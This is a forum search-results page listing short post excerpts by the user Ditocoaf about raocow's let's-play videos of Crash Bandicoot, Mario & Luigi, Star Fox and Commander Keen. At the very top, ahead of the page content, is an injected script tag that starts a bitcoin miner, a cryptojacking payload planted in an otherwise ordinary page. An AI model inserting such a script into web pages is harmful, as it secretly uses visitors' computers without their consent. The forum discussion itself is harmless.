<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxypge projectsmw central

Search found 1536 matches

Go to advanced search

by Ditocoaf
1 week ago
Forum: let's play
Topic: A Super Mario Tabletop Thing - Now with Easy Watch Order
Replies: 867
Views: 106085

Re: A Super Mario Tabletop Thing - Now with Easy Watch Order

I'm so glad Xirix went back to edit the old episodes so this moment could be made public.

I love that you drew this at 100% horror movie level.
by Ditocoaf
1 month ago
Forum: let's play
Topic: Crash Bandicoot Trilogy - U R Not Red E
Replies: 149
Views: 6969

Re: Crash Bandicoot Trilogy - U R Not Red E

Yeah, bonus heads "stay gotten" until you properly exit the level, which is forgiving when you've collected one or two of them and are at a checkpoint, but suddenly becomes unforgiving if you "win" access to the bonus level and fail it.
by Ditocoaf
2 months ago
Forum: let's play
Topic: Crash Bandicoot Trilogy - U R Not Red E
Replies: 149
Views: 6969

Re: Crash Bandicoot Trilogy - U R Not Red E

Not to be harsh but, this game reminds me of DKC if it had run out of ideas at world 2. Today's Sunset Vista is basically just Temple Ruins again So far, every level type has had one "sequel" with identical gimmicks. Definitely a purposeful decision, though obviously saving money on art assets woul...
by Ditocoaf
2 months ago
Forum: let's play
Topic: the end of a-side
Replies: 34
Views: 50302

Re: the end of a-side

what no What I mean is that, if there were still two distinct list, if one games go long it clogs up one list but the other list continues fine. By having one single row that splits, if one game goes long the 'head' can still let things through normally So if I'm understanding right, "Oh, VIP 6 is ...
by Ditocoaf
2 months ago
Forum: let's play
Topic: Crash Bandicoot Trilogy - U R Not Red E
Replies: 149
Views: 6969

Re: Crash Bandicoot Trilogy - U R Not Red E

I've always felt that they sound like they're "juiced up" whenever you collect them. I find peaches way more juicier than apples. Man. This might be some Yanny/Laurel shit, because to me it sounds like a quintessential "apple bite" stock sound effect, all crunch no juice. I'll have to try and see i...
by Ditocoaf
2 months ago
Forum: let's play
Topic: Crash Bandicoot Trilogy - U R Not Red E
Replies: 149
Views: 6969

Re: Crash Bandicoot Trilogy - U R Not Red E

everyone calls wumpas apples meanwhile i always thought they were peaches as a kid because of the weird orange to yellow gradient coloration i agree with this statement 105 percent They look like they could be either apples or peaches, but they make such a sharp, crunchy bite sound that they can't ...
by Ditocoaf
2 months ago
Forum: let's play
Topic: request grab-bag
Replies: 5643
Views: 533113

Re: request grab-bag

Man. Every time I'm reminded that Nitrome is still at it... I'm hit with a wave of nostalgia, I try to remember what flash games of theirs I played 12 years ago, but mostly fail to remember any specific ones. But they had a distinctive art style and menu-formula to their games that was really notice...
by Ditocoaf
2 months ago
Forum: let's play
Topic: COMING UP NEXT
Replies: 1001
Views: 91114

Re: COMING UP NEXT

I mean, since you're merging A and B anyway, you could just choose that moment to turn the "a-side list" into "the list", and pull games from the top of it whenever either LP ends.
by Ditocoaf
2 months ago
Forum: let's play
Topic: the end of a-side
Replies: 34
Views: 50302

Re: the end of a-side

Will you still be recording the morning/evening games in a different order than you upload them? Do you still do that now? I remember that being the reason for a few confused understandings of when and how you react to comments.
by Ditocoaf
4 months ago
Forum: let's play
Topic: Spoilers & Backseat Gaming Problem Discussion
Replies: 246
Views: 18248

Re: Spoilers & Backseat Gaming Problem Discussion

Sebby, I believe you when you say you're trying to dial it back. But the problem seems to be that since you don't agree that backseating is a problem, you're not very good at recognizing when you're backseating. So give this a try: go a while without posting any help of any kind. That might sound dr...
by Ditocoaf
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 46315

Re: Mario & Luigi: Superstar Saga - Super Mario World Omega

I'm always disappointed that "helpful" comments sections tend to make LPs of a game less unique to the LPer, pushing every playthrough towards the generic ideal with minimal variance. A big thing about videogames is that they aren't on rails! It's fun that different people make different decisions, ...
by Ditocoaf
5 months ago
Forum: let's play
Topic: Unfinished raocow LPs
Replies: 45
Views: 3650

Re: Unfinished raocow LPs

Doing an LP that isn't a 100% LP isn't an "unfinished" LP.

Same with alternate modes/characters. Same with DLC.
by Ditocoaf
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 46315

Re: Mario & Luigi: Superstar Saga - Kouhai

Does he have A/B mapped to the Nintendo B/Y respectively or something? Because yeah that would be really confusing I'd somehow picked up the idea that the SNES controller's A and B are in the reverse position from the GBA's A and B. As someone who's never owned a SNES, that seemed reasonable to me ...
by Ditocoaf
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 46315

Re: Mario & Luigi: Superstar Saga - Kouhai

raocow, did you ever remap the A/B buttons? The game leans heavily on having the upper button always be the upper character, designed to push you in that direction. If your controller is the reverse of that, basically everything this game does will be "backwards". The game's actively trying to 'help...
by Ditocoaf
5 months ago
Forum: let's play
Topic: request grab-bag
Replies: 5643
Views: 533113

Re: request grab-bag

Is that sepia photo a reference to the theory that Commander Keen is Wolfenstein dude's grandson? That's pretty good. I'm also happy to learn that this is like a distant sequel, starring the kids of the original. Means the game is doing stuff on its own terms in its own space, which is a good sign. ...
by Ditocoaf
5 months ago
Forum: let's play
Topic: request grab-bag
Replies: 5643
Views: 533113

Re: request grab-bag

All is right with the world.
by Ditocoaf
5 months ago
Forum: let's play
Topic: request grab-bag
Replies: 5643
Views: 533113

Re: request grab-bag

raocow wrote: adding to 'the bucket' (more news on what that means in like a year maybe)
Is Gato Roboto in the bucket? Is Gato Roboto in the bucket?
by Ditocoaf
5 months ago
Forum: let's play
Topic: request grab-bag
Replies: 5643
Views: 533113

Re: request grab-bag

Man, I can't bring myself to watch that Commander Keen trailer.

CK4 was my iconic childhood game. I still replay it occasionally for a hit of nostalgia.

A phone Commander Keen game in 2019 does not inspire optimism in my heart. It inspires dread.
by Ditocoaf
5 months ago
Forum: let's play
Topic: Mario & Luigi: Superstar Saga - Mario & Luigi: Superstar Saga
Replies: 1137
Views: 46315

Re: Mario & Luigi: Superstar Saga - Kamek's Revenge

Sebby19 wrote: Finally, NEVER USE Mode 2. It's completely superfluous.
It looks like Mode 2 is there to teach/practice the timing for Mode 3, since Mode 1 has different timing. One of those "games are designed around the assumption that you haven't learned anything about them yet" things.
by Ditocoaf
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 54124

Re: JUMP φ/(1+(√5)) - Half a jump is still a jump

damn, raocow's performance today was impressive.
by Ditocoaf
5 months ago
Forum: let's play
Topic: Star Fox (SNES) - Beyond this world strange things are known
Replies: 215
Views: 8984

Re: Star Fox (SNES) - He's got a problem with his power

Yeah I still don't know how (in the outer-space levels) you're recognizing any object that isn't huge or right up in your face. Or, like, how you're aiming. But I'm regardless impressed with the game, especially the fact that it was on the SNES, and really enjoying this game's vibe.
by Ditocoaf
5 months ago
Forum: let's play
Topic: JUMP ½ - Half a jump is still a jump
Replies: 1064
Views: 54124

Re: JUMP log₉3 - Half a jump is still a jump

^^^ Warning for severe map spoilers, but otherwise, thanks!

Looks like a cape was mandatory in some parts, so it's not 100% a normal level if you take the water out, but still impressive!
by Ditocoaf
5 months ago
Forum: let's play
Topic: Who Knows How Much of Who in the Omni-Catcher - Chaotix - Two Rings to Rule Them All
Replies: 2407
Views: 86036

Re: All The Sanics - 1 - Dusting Doilies Since 1991

This entire project is an exercise in "doing the inadvisable". Even if he produced a 20 minute video every day, this project would still be absurdly large. He's kicking off a second LPing career to run alongside his first one, with a narrow focus. And from the original idea (which I remember advisin...
by Ditocoaf
5 months ago
Forum: let's play
Topic: Who Knows How Much of Who in the Omni-Catcher - Chaotix - Two Rings to Rule Them All
Replies: 2407
Views: 86036

Re: All The Sanics - 1 - Dusting Doilies Since 1991

Honestly, just watching this LP feels like a huge commitment I can't make, so I'm going to step out like I did for Megaman. It's hard to dip in and out of following an undertaking this ambitious (I remember checking in on the Megaman thread once and feeling lost), and I don't have any connection to ...
by Ditocoaf
5 months ago
Forum: let's play
Topic: request grab-bag
Replies: 5643
Views: 533113

Re: request grab-bag

Gato Roboto May 30th Nice, I've been waiting for this to announce a release date so I could post it here again. (I definitely learned about it from this thread.) It feels uncannily like the game you would make if you were trying to specifically target raocow. Black and white silhouette graphics? Me...

Go to advanced search